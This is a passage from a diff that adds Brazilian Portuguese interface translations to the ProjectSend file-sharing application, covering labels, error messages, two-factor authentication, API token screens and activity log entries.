sob a :license, o que significa que você é livre para usar, estudar, modificar e compartilhar.", + "ProjectSend is ready": "O ProjectSend está pronto", + "ProjectSend was installed": "O ProjectSend foi instalado", + "Provider": "Provedor", + "Proxy Authentication Required": "Autenticação De Proxy Necessária", + "Public": "Público", + "Public file": "Arquivo público", + "Public files": "Arquivos públicos", + "Public group": "Grupo público", + "Public group listing": "Listagem pública de grupos", + "Public groups": "Grupos públicos", + "Public link": "Link público", + "Public link created.": "Link público criado.", + "Public link revoked.": "Link público revogado.", + "Public links": "Links públicos", + "Public listing": "Listagem pública", + "Public listing settings": "Configurações da listagem pública", + "Public listing URL": "URL da listagem pública", + "Public pages & portal": "Páginas públicas e portal", + "Public pages and client portal theme": "Tema das páginas públicas e do portal do cliente", + "Published": "Publicado", + "Purple": "Roxo", + "Quota": "Cota", + "Railgun Error": "Erro do Canhão Elétrico", + "Range Not Satisfiable": "Faixa Não Satisfatória", + "Read more": "Saiba mais", + "Reassign them to": "Transferir para", + "Recent activity": "Atividade recente", + "Recipient": "Destinatário", + "Record": "Registro", + "Record IP addresses for downloads": "Registrar endereços IP dos downloads", + "Recovery code": "Código de recuperação", + "Red": "Vermelho", + "Regards,": "Atenciosamente,", + "Regenerate recovery codes": "Gerar novos códigos de recuperação", + "Regenerate recovery codes?": "Gerar novos códigos de recuperação?", + "Regenerated two-factor recovery codes": "Gerou novos códigos de recuperação de duas etapas", + "Register": "Registrar", + "Register to access the files shared with you.": "Cadastre-se para acessar os arquivos compartilhados com você.", + "Register to request access. An administrator will review your request.": "Cadastre-se para solicitar acesso. Um administrador vai analisar sua solicitação.", + "Registered a new client account": "Cadastrou uma nova conta de cliente", + "Related": "Relacionado", + "Remember me": "Lembrar de mim", + "Remove": "Remover", + "Removed \":member\" from the group \":subject\"": "Removeu \":member\" do grupo \":subject\"", + "Removed the file \":subject\" from :target": "Removeu o arquivo \":subject\" de :target", + "Rename": "Renomear", + "Renamed the folder \":subject\"": "Renomeou a pasta \":subject\"", + "Repository": "Repositório", + "Request declined": "Solicitação recusada", + "Request Header Fields Too Large": "Campos De Cabeçalho De Solicitação Muito Grandes", + "Request membership": "Solicitar participação", + "Request membership to groups (optional)": "Solicitar participação em grupos (opcional)", + "Request Timeout": "Tempo Limite De Requisição", + "Requested": "Solicitado", + "Requested membership to the group \":subject\"": "Solicitou participação no grupo \":subject\"", + "Requested memberships wait in the membership requests queue for approval.": "As participações solicitadas aguardam aprovação na fila de solicitações de participação.", + "Require two-factor authentication": "Exigir autenticação em duas etapas", + "Required": "Obrigatório", + "Reset Content": "Redefinir Conteúdo", + "Reset Password": "Redefinir Senha", + "Reset Password Notification": "Notificação para redefinir a senha", + "Reset this email to its default wording?": "Restaurar o texto padrão deste e-mail?", + "Reset to default": "Restaurar o padrão", + "Restore": "Restaurar", + "Restore :name": "Restaurar :name", + "Restricted extension": "Extensão restrita", + "Result": "Resultado", + "results": "resultados", + "Review membership requests": "Analisar solicitações de participação", + "Review pending requests": "Analisar solicitações pendentes", + "Retry With": "Repetir Com", + "Revoke": "Revogar", + "Revoke link": "Revogar link", + "Revoke this public link?": "Revogar este link público?", + "Revoked a public link for the file \":subject\"": "Revogou um link público do arquivo \":subject\"", + "Role": "Função", + "Role created.": "Função criada.", + "Role deleted.": "Função excluída.", + "Role name": "Nome da função", + "Role updated.": "Função atualizada.", + "Roles": "Funções", + "Sample email": "E-mail de exemplo", + "Save": "Salvar", + "Save :name": "Economize :name", + "Save & Close": "Salvar fechar", + "Save & Return": "Salvar e retornar", + "Save your changes to make this live — until then, these buttons point to a page that isn't published yet.": "Salve suas alterações para publicar — até lá, estes botões apontam para uma página que ainda não está no ar.", + "Saved": "Salvo", + "Scan this QR code with your authenticator app, then enter the six-digit code to confirm.": "Escaneie este QR code com seu aplicativo autenticador e informe o código de seis dígitos para confirmar.", + "Scanning:": "Verificando:", + "Scheduled tasks": "Tarefas agendadas", + "Search": "Pesquisar", + "Search :name": "Pesquisar :name", + "Search all files and folders": "Buscar em todos os arquivos e pastas", + "Search by client or group": "Buscar por cliente ou grupo", + "Search by name": "Buscar por nome", + "Search by name or email address": "Buscar por nome ou endereço de e-mail", + "Search by path": "Buscar por caminho", + "Search categories": "Buscar categorias", + "Search fields": "Buscar campos", + "Search your files": "Buscar nos seus arquivos", + "Security": "Segurança", + "Security settings": "Configurações de segurança", + "See Other": "Ver Outros", + "Select": "Selecionar", + "Select :name": "Selecionar :name", + "Select a client or group": "Selecione um cliente ou grupo", + "Select a client to add": "Selecione um cliente para adicionar", + "Select a role": "Selecione uma função", + "Select All": "Selecionar tudo", + "Select an option": "Selecione uma opção", + "Select at least one file or folder.": "Selecione pelo menos um arquivo ou pasta.", + "Self-registered clients join this group automatically.": "Os clientes que se cadastram sozinhos entram neste grupo automaticamente.", + "Send": "Enviar", + "Send email notifications": "Enviar notificações por e-mail", + "Send test email": "Enviar e-mail de teste", + "SendGrid": "SendGrid", + "Sends a real email right now, bypassing the queue, so you can verify the settings above actually work.": "Envia um e-mail de verdade agora mesmo, sem passar pela fila, para você conferir se as configurações acima realmente funcionam.", + "Separate paragraphs with a blank line.": "Separe os parágrafos com uma linha em branco.", + "Server Error": "Erro do servidor", + "Service Unavailable": "Serviço indisponível", + "Session Has Expired": "Sessão Expirou", + "Set file expiration dates": "Definir datas de validade dos arquivos", + "Set to 0 for no limit. Available disk space still applies.": "Use 0 para não impor limite. O espaço em disco disponível continua valendo.", + "Set to 0 to allow requesting again immediately.": "Use 0 para permitir uma nova solicitação imediatamente.", + "Set up ProjectSend": "Configurar o ProjectSend", + "Settings": "Configurações", + "Settings that apply to the whole installation": "Configurações que valem para toda a instalação", + "Setup complete": "Configuração concluída", + "Share a file with the people who manage your account.": "Compartilhe um arquivo com as pessoas que cuidam da sua conta.", + "Share files with several clients at once": "Compartilhe arquivos com vários clientes de uma vez", + "Shared the folder \":subject\" with :target": "Compartilhou a pasta \":subject\" com :target", + "Shared with": "Compartilhado com", + "Shared with :count": "Compartilhado com :count", + "Sharing": "Compartilhamento", + "Sharing a folder shares everything inside it, now and later": "Compartilhar uma pasta compartilha tudo o que há nela, agora e depois", + "Show": "Mostrar", + "Show :name": "Mostrar :name", + "Show All": "Mostre tudo", + "Showing": "Exibindo", + "Showing matches from across your library": "Resultados de toda a sua biblioteca", + "Showing matches from everything shared with you": "Resultados de tudo o que foi compartilhado com você", + "Shown across the application and to your clients.": "Exibido em todo o aplicativo e para seus clientes.", + "Shows a registration form on the login screen.": "Exibe um formulário de cadastro na tela de acesso.", + "Sign In": "Entrar", + "Sign up": "Cadastrar-se", + "Site name": "Nome do site", + "Size": "Tamanho", + "Skip the IP address when the downloader is a signed-in account — their identity is already known.": "Não registrar o endereço IP quando o download vier de uma conta conectada — a identidade já é conhecida.", + "SMTP configuration": "Configuração de SMTP", + "Source code": "Código-fonte", + "Special public links": "Links públicos especiais", + "Solve": "Resolver", + "Something went wrong. Please try again.": "Algo deu errado. Tente novamente.", + "SSL": "SSL", + "SSL Handshake Failed": "Falha No Handshake SSL", + "Staff": "Equipe", + "Start": "Começar", + "Status": "Status", + "Stop": "Parar", + "Stopped sharing the folder \":subject\" with :target": "Parou de compartilhar a pasta \":subject\" com :target", + "Storage": "Armazenamento", + "Storage free": "Espaço livre", + "Storage quota (MB)": "Cota de armazenamento (MB)", + "Storage used": "Espaço utilizado", + "Store these recovery codes somewhere safe. Each one can be used once if you lose access to your authenticator app.": "Guarde estes códigos de recuperação em local seguro. Cada um pode ser usado uma vez, caso você perca acesso ao seu aplicativo autenticador.", + "Subfolders": "Subpastas", + "Subject": "Assunto", + "Submit": "Enviar", + "Subscribe": "Assinar", + "Success: test email sent to :email via :hostport.": "Sucesso: e-mail de teste enviado para :email via :hostport.", + "Support the project": "Apoie o projeto", + "Switch": "Trocar", + "Switch To Role": "Mudar para função", + "Switching Protocols": "Mudando Protocolos", + "System": "Sistema", + "System Administrator": "Administrador do sistema", + "System settings": "Configurações do sistema", + "System settings were updated": "As configurações do sistema foram atualizadas", + "System users": "Usuários do sistema", + "Tag": "Marcação", + "Tags": "Tag", + "Temporary Redirect": "Redirecionamento Temporário", + "Test": "Teste", + "Text": "Texto", + "Text or author": "Texto ou autor", + "The account of :name will be permanently deleted. This cannot be undone.": "A conta de :name será excluída definitivamente. Não é possível desfazer.", + "The account password was changed": "A senha da conta foi alterada", + "The account request of :name will be denied and the account deleted.": "A solicitação de conta de :name será recusada e a conta excluída.", + "The administrator account was created successfully.": "A conta de administrador foi criada com sucesso.", + "The administrator role always has every permission and cannot be edited.": "A função de administrador sempre tem todas as permissões e não pode ser editada.", + "The base URL segment for public group pages, e.g. :url": "O trecho da URL base das páginas de grupos públicos, por ex. :url", + "The category \":name\" will be removed from all its files. The files themselves are not deleted.": "A categoria \":name\" será removida de todos os seus arquivos. Os arquivos em si não são excluídos.", + "The client's email address": "O endereço de e-mail do cliente", + "The client's name": "O nome do cliente", + "The clients this group shares files with": "Os clientes com quem este grupo compartilha arquivos", + "The field \":name\" and all its stored values will be permanently deleted.": "O campo \":name\" e todos os valores nele armazenados serão excluídos definitivamente.", + "The file \":file\" was uploaded by :client.": "O arquivo \":file\" foi enviado por :client.", + "The file \":name\" has been shared with you.": "O arquivo \":name\" foi compartilhado com você.", + "The file \":name\" will no longer be available to anyone it was shared with.": "O arquivo \":name\" deixará de estar disponível para todos com quem foi compartilhado.", + "The file name": "O nome do arquivo", + "The file or folder name": "O nome do arquivo ou da pasta", + "The file will be permanently removed from disk. This cannot be undone.": "O arquivo será removido definitivamente do disco. Não é possível desfazer.", + "The files of a public group can be browsed by anyone with the link, without logging in.": "Os arquivos de um grupo público podem ser vistos por qualquer pessoa com o link, sem precisar entrar.", + "The files shared with you": "Os arquivos compartilhados com você", + "The folder \":name\" and everything inside it will be deleted. This can be undone by an administrator.": "A pasta \":name\" e todo o seu conteúdo serão excluídos. Um administrador pode desfazer isso.", + "The following :count items have been shared with you:": "Os :count itens a seguir foram compartilhados com você:", + "The folder \":name\" has been shared with you.": "A pasta \":name\" foi compartilhada com você.", + "The given data was invalid.": "Os dados fornecidos são inválidos.", + "The group \":name\" will be deleted. Its clients keep their accounts.": "O grupo \":name\" será excluído. Seus clientes mantêm as contas.", + "The group name": "O nome do grupo", + "The groups you belong to and the ones you can ask to join": "Os grupos dos quais você faz parte e aqueles em que pode pedir para entrar", + "The header/footer style used for every outgoing notification email.": "O estilo de cabeçalho e rodapé usado em todo e-mail de notificação enviado.", + "The look of the guest public pages, the client portal, and outgoing notification emails.": "A aparência das páginas públicas para visitantes, do portal do cliente e dos e-mails de notificação enviados.", + "The mail server itself is configured in this installation’s .env file (MAIL_* variables), not here.": "O servidor de e-mail em si é configurado no arquivo .env desta instalação (variáveis MAIL_*), não aqui.", + "The people who administer this installation and upload files": "As pessoas que administram esta instalação e enviam arquivos", + "The people you share files with": "As pessoas com quem você compartilha arquivos", + "The provided two-factor authentication code was invalid.": "O código de autenticação em duas etapas informado é inválido.", + "The release this installation is running, and where it comes from.": "A versão que esta instalação está rodando, e de onde ela vem.", + "The response is not a streamed response.": "A resposta não é uma resposta transmitida.", + "The response is not a view.": "A resposta não é uma visão.", + "The role \":name\" will be permanently deleted. This cannot be undone.": "A função \":name\" será excluída definitivamente. Não é possível desfazer.", + "The selected folders are empty.": "As pastas selecionadas estão vazias.", + "The uploading client's name": "O nome do cliente que está enviando", + "Their account is waiting for approval.": "Esta conta está aguardando aprovação.", + "There is nothing to configure yet.": "Ainda não há nada para configurar.", + "Test email from :site": "E-mail de teste de :site", + "These files will be permanently removed from disk. This cannot be undone.": "Estes arquivos serão removidos definitivamente do disco. Não é possível desfazer.", + "Theme": "Tema", + "Theme updated.": "Tema atualizado.", + "Theming": "Temas", + "Theming settings": "Configurações de temas", + "This action is unauthorized.": "Esta ação não é autorizada.", + "This file exceeds the maximum allowed size of :max MB.": "Este arquivo excede o tamanho máximo permitido de :max MB.", + "This folder is empty.": "Esta pasta está vazia.", + "This installation has no administrator yet. Create the first one to get started.": "Esta instalação ainda não tem administrador. Crie o primeiro para começar.", + "This is a built-in role; its scope can't be changed.": "Esta é uma função integrada; seu alcance não pode ser alterado.", + "This is a preview of the :theme email theme.": "Esta é uma prévia do tema de e-mail :theme.", + "This is a sample email — no notification was actually sent.": "Este é um e-mail de exemplo — nenhuma notificação foi realmente enviada.", + "This is a test email from :site.": "Este é um e-mail de teste de :site.", + "This is the last active administrator account.": "Esta é a última conta de administrador ativa.", + "This link cannot match the file's own public URL slug.": "Este link não pode ser igual ao slug da URL pública do próprio arquivo.", + "This link doesn't exist or has been revoked.": "Este link não existe ou foi revogado.", + "This link has expired.": "Este link expirou.", + "This link has reached its download limit.": "Este link atingiu seu limite de downloads.", + "This password reset link will expire in :count minutes.": "O link para redefinir a senha vai expirar em :count minutos.", + "This permanently removes every failed job from the list without retrying any of them. This cannot be undone.": "Isto remove permanentemente todas as tarefas com falha da lista sem tentar nenhuma novamente. Não é possível desfazer.", + "This role is assigned to accounts and cannot be deleted.": "Esta função está atribuída a contas e não pode ser excluída.", + "This role only sees files and folders belonging to these clients, plus its own uploads.": "Esta função só vê arquivos e pastas destes clientes, além dos próprios envios.", + "This upload would exceed your storage quota of :quota MB.": "Este envio excederia sua cota de armazenamento de :quota MB.", + "Tip: drag files and folders onto a folder or a breadcrumb to move them.": "Dica: arraste arquivos e pastas para uma pasta ou para a trilha de navegação para movê-los.", + "Title": "Título", + "Title (optional)": "Título (opcional)", + "TLS": "TLS", + "to": "até", + "To": "Para", + "Toggle navigation": "Alternar navegação", + "Too Early": "Muito cedo", + "Too many files selected. Choose a smaller selection and try again.": "Arquivos demais selecionados. Reduza a seleção e tente novamente.", + "Too Many Requests": "Muitas solicitações", + "Transactional email settings for this installation": "Configurações de e-mails transacionais desta instalação", + "Transfers — last 30 days": "Transferências — últimos 30 dias", + "Translate": "Traduzir", + "Translate It": "Traduza isso", + "Turns all transactional email for this installation on or off.": "Liga ou desliga todos os e-mails transacionais desta instalação.", + "Two-factor auth": "Autenticação em duas etapas", + "Two-factor authentication": "Autenticação em duas etapas", + "Two-factor authentication is enabled.": "A autenticação em duas etapas está ativada.", + "Two-factor authentication was disabled": "A autenticação em duas etapas foi desativada", + "Two-factor authentication was enabled": "A autenticação em duas etapas foi ativada", + "Two-factor recovery codes were regenerated": "Os códigos de recuperação de duas etapas foram gerados novamente", + "Type": "Tipo", + "Unauthorized": "Não autorizado", + "Unavailable For Legal Reasons": "Indisponível Por Motivos Legais", + "Unchanged": "Inalterado", + "Unknown Error": "Erro Desconhecido", + "Unlimited": "Ilimitado", + "Unpack": "Descompacte", + "Unprocessable Entity": "Entidade Improcessável", + "Unsubscribe": "Cancelar subscrição", + "Unsupported Media Type": "Tipo De Mídia Não Suportado", + "Up": "Acima", + "Up to :max MB per file. Uploads can be paused and resume automatically after interruptions.": "Até :max MB por arquivo. Os envios podem ser pausados e retomam automaticamente após interrupções.", + "Update": "Atualizar", + "Update :name": "Atualização :name", + "Updated the account \":subject\"": "Atualizou a conta \":subject\"", + "Updated the file \":subject\"": "Atualizou o arquivo \":subject\"", + "Updated the group \":subject\"": "Atualizou o grupo \":subject\"", + "Updated the role \":subject\"": "Atualizou a função \":subject\"", + "Updated the system settings (:section)": "Atualizou as configurações do sistema (:section)", + "Updated their profile information": "Atualizou as informações do próprio perfil", + "Upgrade Required": "Atualização Necessária", + "Upload": "Enviar", + "Upload a file": "Enviar um arquivo", + "Upload files": "Enviar arquivos", + "Upload public files": "Enviar arquivos públicos", + "Upload settings": "Configurações de envio", + "Upload to public folders": "Enviar para pastas públicas", + "Uploaded by": "Enviado por", + "Uploaded the file \":subject\"": "Enviou o arquivo \":subject\"", + "Uploader": "Autor do envio", + "Uploads": "Envios", + "Uploads (chart)": "Envios (gráfico)", + "URI Too Long": "URI Muito Grande", + "URL slug": "Slug da URL", + "Use a custom link instead of a random one": "Usar um link personalizado em vez de um aleatório", + "Use a recovery code": "Usar um código de recuperação", + "Use an authentication code": "Usar um código de autenticação", + "Use Proxy": "Usar proxy", + "Use the navigation to get started.": "Use a navegação para começar.", + "Used": "Utilizado", + "Used in the public file URL when this file is public.": "Usado na URL pública do arquivo quando ele é público.", + "Used in the public group URL when this group is public.": "Usado na URL pública do grupo quando ele é público.", + "User": "Do utilizador", + "User created.": "Usuário criado.", + "User deleted.": "Usuário excluído.", + "User updated.": "Usuário atualizado.", + "Users": "Usuários", + "Username": "Nome de usuário", + "Variant Also Negotiates": "Variante Também Negocia", + "Verify Email Address": "Verifique o endereço de e-mail", + "Version": "Versão", + "Version :version": "Versão :version", + "View": "Visualizar", + "View :name": "Ver :name", + "View all": "Ver tudo", + "View dashboard counters": "Ver os contadores do painel", + "View file": "Ver arquivo", + "View news": "Ver novidades", + "View statistics": "Ver estatísticas", + "View system information": "Ver informações do sistema", + "Visible widgets": "Widgets visíveis", + "View the activity log": "Ver o registro de atividades", + "View your files": "Ver os próprios arquivos", + "Visibility": "Visibilidade", + "Visitors": "Visitantes", + "Warning": "Aviso", + "Web Server is Down": "Servidor Web Está Inativo", + "Website": "Site", + "Welcome": "Bem-vindo", + "Welcome to ProjectSend": "Bem-vindo ao ProjectSend", + "What each kind of account is allowed to do": "O que cada tipo de conta pode fazer", + "When an account is erased, its files and folders": "Quando uma conta é apagada, seus arquivos e pastas", + "When enabled, you will be asked for a secure code from your phone when logging in.": "Quando ativado, será pedido um código seguro do seu celular ao entrar.", + "When off, self-registered clients wait in the account requests queue until approved.": "Quando desligado, os clientes que se cadastram sozinhos aguardam aprovação na fila de solicitações de conta.", + "Where outgoing email is actually sent from.": "O endereço de onde os e-mails são realmente enviados.", + "Whoops!": "Ops!", + "Widgets": "Widgets", + "Worth including when you report a problem.": "Vale incluir quando você relatar um problema.", + "Written by": "Escrito por", + "Yellow": "Amarelo", + "Yes": "Sim", + "You are commenting too quickly. Try again in a moment.": "Você está comentando rápido demais. Tente novamente em instantes.", + "You are commenting too quickly. Try again in :seconds seconds.": "Você está comentando rápido demais. Tente novamente em :seconds segundos.", + "You are not a member of any group yet.": "Você ainda não faz parte de nenhum grupo.", + "You are receiving this email because we received a password reset request for your account.": "Você está recebendo este e-mail porque foi solicitada a redefinição da senha da sua conta.", + "You can only share with the clients assigned to you.": "Você só pode compartilhar com os clientes atribuídos a você.", + "You cannot comment on this file.": "Você não pode comentar neste arquivo.", + "You cannot deactivate your own account.": "Você não pode desativar a própria conta.", + "You cannot delete your own account.": "Você não pode excluir a própria conta.", + "You have no notifications yet.": "Você ainda não tem notificações.", + "You will no longer receive files shared with the group \":name\".": "Você deixará de receber os arquivos compartilhados com o grupo \":name\".", + "Your account details were recently changed by an administrator. Contact your administrator if this was not expected.": "Os dados da sua conta foram alterados recentemente por um administrador. Fale com seu administrador se você não esperava por isso.", + "Your account has been approved": "Sua conta foi aprovada", + "Your account has been created. You can log in now.": "Sua conta foi criada. Já pode entrar.", + "Your account has been deactivated.": "Sua conta foi desativada.", + "Your account is deactivated immediately. After :days days it is permanently erased, including your identifying details in the activity log — this cannot be undone.": "Sua conta é desativada imediatamente. Após :days dias, ela é apagada definitivamente, inclusive os dados que identificam você no registro de atividades — não é possível desfazer.", + "Your account request has been approved. You can now log in.": "Sua solicitação de conta foi aprovada. Agora você já pode entrar.", + "Your account request has been denied.": "Sua solicitação de conta foi recusada.", + "Your account request has been received. You will be able to log in once it is approved.": "Sua solicitação de conta foi recebida. Você poderá entrar assim que ela for aprovada.", + "Your account request has not been approved yet.": "Sua solicitação de conta ainda não foi aprovada.", + "Your account request was denied": "Sua solicitação de conta foi recusada", + "Your account was updated": "Sua conta foi atualizada", + "Your account will be deactivated now and permanently erased after :days days. Enter your password to confirm.": "Sua conta será desativada agora e apagada definitivamente após :days dias. Informe sua senha para confirmar.", + "Your account will no longer require a second code at login, making it less secure.": "Sua conta deixará de exigir um segundo código ao entrar, ficando menos segura.", + "Your administrator requires two-factor authentication on this account. Set it up below to continue.": "Seu administrador exige autenticação em duas etapas nesta conta. Configure-a abaixo para continuar.", + "Your customized subject and body will be discarded and replaced with the default wording immediately — this cannot be undone.": "Seu assunto e corpo personalizados serão descartados e substituídos pelo texto padrão imediatamente — não é possível desfazer.", + "Your download should start automatically.": "Seu download deve começar automaticamente.", + "Your existing recovery codes will stop working immediately.": "Seus códigos de recuperação atuais deixarão de funcionar imediatamente.", + "Your group membership request was approved": "Sua solicitação de participação no grupo foi aprovada", + "Your group membership request was denied": "Sua solicitação de participação no grupo foi recusada", + "Your groups": "Seus grupos", + "Your previous request to this group was declined. You can request again later.": "Sua solicitação anterior a este grupo foi recusada. Você poderá solicitar novamente mais tarde.", + "Your request to join the group \":group\" has been approved.": "Sua solicitação para entrar no grupo \":group\" foi aprovada.", + "Your request to join the group \":group\" has been denied.": "Sua solicitação para entrar no grupo \":group\" foi recusada.", + "Your request to join the group \":groupName\" has been approved": "Sua solicitação para entrar no grupo \":groupName\" foi aprovada", + "Your shared file library": "Sua biblioteca de arquivos compartilhados", + "API tokens": "Tokens de API", + "Tokens let an external tool act on your behalf through the API, with only the permissions you grant it here.": "Os tokens permitem que uma ferramenta externa aja em seu nome pela API, apenas com as permissões que você conceder aqui.", + "Token name": "Nome do token", + "e.g. Zapier": "por ex. Zapier", + "Name it after the tool that will use it, so you know what you are revoking later.": "Dê a ele o nome da ferramenta que vai usá-lo, para você saber o que está revogando depois.", + "A token can never do more than you can. Grant only what the tool needs — if your own permissions change, the token follows.": "Um token nunca pode fazer mais do que você. Conceda somente o que a ferramenta precisa — se suas permissões mudarem, o token acompanha.", + "Only permissions the API can currently act on are listed. More appear here as new endpoints are released.": "São listadas apenas as permissões sobre as quais a API já pode agir. Outras aparecerão aqui conforme novos endpoints forem lançados.", + "There is nothing you can grant a token yet — none of the API endpoints released so far match your permissions.": "Ainda não há nada que você possa conceder a um token — nenhum dos endpoints da API lançados até agora corresponde às suas permissões.", + "Select all": "Selecionar tudo", + "Clear all": "Limpar tudo", + "Expires in (days)": "Expira em (dias)", + "A token that never expires stays valid until someone revokes it by hand. Prefer a date you can forget about safely.": "Um token sem validade continua válido até alguém revogá-lo manualmente. Prefira uma data que você possa esquecer com tranquilidade.", + "Create token": "Criar token", + "Copy your token now": "Copie seu token agora", + "This is the only time it will be shown. We store only a hash, so it cannot be recovered later.": "Esta é a única vez em que ele será exibido. Guardamos apenas um hash, então não é possível recuperá-lo depois.", + "Copy to clipboard": "Copiar para a área de transferência", + "Copied": "Copiado", + "Your tokens": "Seus tokens", + "Revoking a token takes effect immediately.": "A revogação de um token tem efeito imediato.", + "You have not created any tokens yet.": "Você ainda não criou nenhum token.", + "Expired": "Expirado", + "Never used": "Nunca usado", + "Last used :date": "Último uso em :date", + "Revoke this token?": "Revogar este token?", + "Any tool using it will stop working immediately. This cannot be undone.": "Qualquer ferramenta que o utilize deixará de funcionar imediatamente. Não é possível desfazer.", + "This file type is not allowed for upload.": "Este tipo de arquivo não é permitido para envio.", + "View the client list": "Ver a lista de clientes", + "View the group list": "Ver a lista de grupos", + "Origin": "Origem", + "All origins": "Todas as origens", + "Web UI": "Interface web", + "API": "API", + ":origin · :token": ":origin · :token", + "Edit token": "Editar token", + "Save token": "Salvar token", + "The token is shown once, immediately after it is created, and never again.": "O token é exibido uma única vez, logo após ser criado, e nunca mais.", + "The token itself does not change. Anything already using it keeps working with whatever you set here.": "O token em si não muda. Tudo o que já o utiliza continua funcionando com o que você definir aqui.", + "Changing permissions takes effect immediately": "Mudanças de permissões têm efeito imediato", + "The existing token keeps its value, so whatever holds it gains or loses these permissions right away. Revoke and create a new one instead if you want a fresh secret.": "O token atual mantém seu valor, então quem o possui ganha ou perde essas permissões na hora. Revogue-o e crie um novo se quiser um segredo inédito.", + "Some permissions no longer apply": "Algumas permissões não valem mais", + "This token still carries permissions that do nothing today, and saving will drop them: :abilities": "Este token ainda carrega permissões que hoje não têm efeito; ao salvar, elas serão removidas: :abilities", + "Token updated.": "Token atualizado.", + "How external tools can act on this installation on your behalf.": "Como ferramentas externas podem agir nesta instalação em seu nome.", + "OpenAPI specification": "Especificação OpenAPI", + "Endpoints": "Endpoints", + "Method": "Método", + "Tokens": "Tokens", + "Your tokens and what they have been doing.": "Seus tokens e o que eles têm feito.", + "Every token on this installation and what it has been doing.": "Todos os tokens desta instalação e o que eles têm feito.", + "Show all tokens": "Mostrar todos os tokens", + "Show only mine": "Mostrar somente os meus", + "Manage tokens": "Gerenciar tokens", + "Requests (7 days)": "Requisições (7 dias)", + "Failed (7 days)": "Falhas (7 dias)", + "Median response": "Tempo de resposta mediano", + "No requests yet": "Ainda não há requisições", + ":count expired": ":count expirados", + "Requests": "Requisições", + "Succeeded": "Bem-sucedidas", + "Failed": "Com falha", + "Request history is kept for :days days.": "O histórico de requisições é mantido por :days dias.", + "Request history is kept indefinitely.": "O histórico de requisições é mantido por tempo indeterminado.", + "No tokens yet.": "Ainda não há tokens.", + "Owner": "Proprietário", + "Last used": "Último uso", + "History": "Histórico", + "Busiest endpoints": "Endpoints mais movimentados", + "No requests in the last 7 days.": "Nenhuma requisição nos últimos 7 dias.", + "Recent changes made through the API": "Alterações recentes feitas pela API", + "Full history": "Histórico completo", + "Nothing has been changed through the API yet.": "Nada foi alterado pela API até agora.", + "API usage": "Uso da API", + "Open the API dashboard": "Abrir o painel da API", + "You have no API tokens. Create one to let an external tool act on your behalf.": "Você não tem tokens de API. Crie um para permitir que uma ferramenta externa aja em seu nome.", + "API request history (days)": "Histórico de requisições da API (dias)", + "How long the API dashboard keeps a record of each request. This is usage history, not the activity log — the activity log is an audit trail and is never pruned. Set to 0 to keep it indefinitely.": "Por quanto tempo o painel da API guarda o registro de cada requisição. Este é o histórico de uso, não o registro de atividades — esse é uma trilha de auditoria e nunca é limpo. Use 0 para manter por tempo indeterminado.", + "A category was created": "Uma categoria foi criada", + "A category was deleted": "Uma categoria foi excluída", + "A category was renamed": "Uma categoria foi renomeada", + "A comment was approved": "Um comentário foi aprovado", + "A comment was deleted": "Um comentário foi excluído", + "A comment was edited": "Um comentário foi editado", + "A comment was posted on a file": "Um comentário foi publicado em um arquivo", + "A custom asset was created": "Um recurso personalizado foi criado", + "A custom asset was deleted": "Um recurso personalizado foi excluído", + "A custom asset was disabled": "Um recurso personalizado foi desativado", + "A custom asset was enabled": "Um recurso personalizado foi ativado", + "A custom asset was updated": "Um recurso personalizado foi atualizado", + "A custom field was created": "Um campo personalizado foi criado", + "A custom field was deleted": "Um campo personalizado foi excluído", + "A custom field was updated": "Um campo personalizado foi atualizado", + "A deleted account's files and folders were deleted": "Os arquivos e pastas de uma conta excluída foram excluídos", + "A deleted account's files and folders were reassigned": "Os arquivos e pastas de uma conta excluída foram reatribuídos", + "A file was made private": "Um arquivo foi tornado privado", + "A file was made public": "Um arquivo foi tornado público", + "A file was previewed": "Um arquivo foi pré-visualizado", + "A folder was made private": "Uma pasta foi tornada privada", + "A folder was made public": "Uma pasta foi tornada pública", + "A group was made private": "Um grupo foi tornado privado", + "A group was made public": "Um grupo foi tornado público", + "An API token was created": "Um token de API foi criado", + "An API token was revoked": "Um token de API foi revogado", + "An API token was updated": "Um token de API foi atualizado", + "An expired file was automatically deleted after its retention grace period passed": "Um arquivo expirado foi excluído automaticamente após o fim do período de carência", + "An orphan file was automatically deleted after its retention grace period passed": "Um arquivo órfão foi excluído automaticamente após o fim do período de carência", + "An upload was cancelled": "Um envio foi cancelado", + "Approved a comment on the file \":subject\"": "Aprovou um comentário no arquivo \":subject\"", + "Cancelled uploading the file \":name\"": "Cancelou o envio do arquivo \":name\"", + "Commented on the file \":subject\"": "Comentou no arquivo \":subject\"", + "Created the API token \":token_name\"": "Criou o token de API \":token_name\"", + "Created the category \":subject\"": "Criou a categoria \":subject\"", + "Created the custom asset \":subject\"": "Criou o recurso personalizado \":subject\"", + "Created the custom field \":name\"": "Criou o campo personalizado \":name\"", + "Deleted :files file(s) and :folders folder(s) belonging to the deleted account \":name\"": "Excluiu :files arquivo(s) e :folders pasta(s) da conta excluída \":name\"", + "Deleted a comment on the file \":subject\"": "Excluiu um comentário no arquivo \":subject\"", + "Deleted the category \":name\"": "Excluiu a categoria \":name\"", + "Deleted the custom asset \":name\"": "Excluiu o recurso personalizado \":name\"", + "Deleted the custom field \":name\"": "Excluiu o campo personalizado \":name\"", + "Deleted the expired file \":name\"": "Excluiu o arquivo expirado \":name\"", + "Disabled the custom asset \":subject\"": "Desativou o recurso personalizado \":subject\"", + "Edited a comment on the file \":subject\"": "Editou um comentário no arquivo \":subject\"", + "Enabled the custom asset \":subject\"": "Ativou o recurso personalizado \":subject\"", + "Made the file \":subject\" private": "Tornou o arquivo \":subject\" privado", + "Made the file \":subject\" public": "Tornou o arquivo \":subject\" público", + "Made the folder \":subject\" private": "Tornou a pasta \":subject\" privada", + "Made the folder \":subject\" public": "Tornou a pasta \":subject\" pública", + "Made the group \":subject\" private": "Tornou o grupo \":subject\" privado", + "Made the group \":subject\" public": "Tornou o grupo \":subject\" público", + "Previewed the file \":subject\"": "Pré-visualizou o arquivo \":subject\"", + "Reassigned :files file(s) and :folders folder(s) from the deleted account \":name\" to :target": "Reatribuiu :files arquivo(s) e :folders pasta(s) da conta excluída \":name\" para :target", + "Renamed the category to \":subject\"": "Renomeou a categoria para \":subject\"", + "Revoked the API token \":token_name\"": "Revogou o token de API \":token_name\"", + "Updated the API token \":token_name\"": "Atualizou o token de API \":token_name\"", + "Updated the custom asset \":subject\"": "Atualizou o recurso personalizado \":subject\"", + "Updated the custom field \":name\"": "Atualizou o campo personalizado \":name\"", + "Manage client custom fields": "Gerenciar campos personalizados de clientes", + "Moderate comments": "Moderar comentários", + "Only me": "Somente eu", + "Visible to anyone 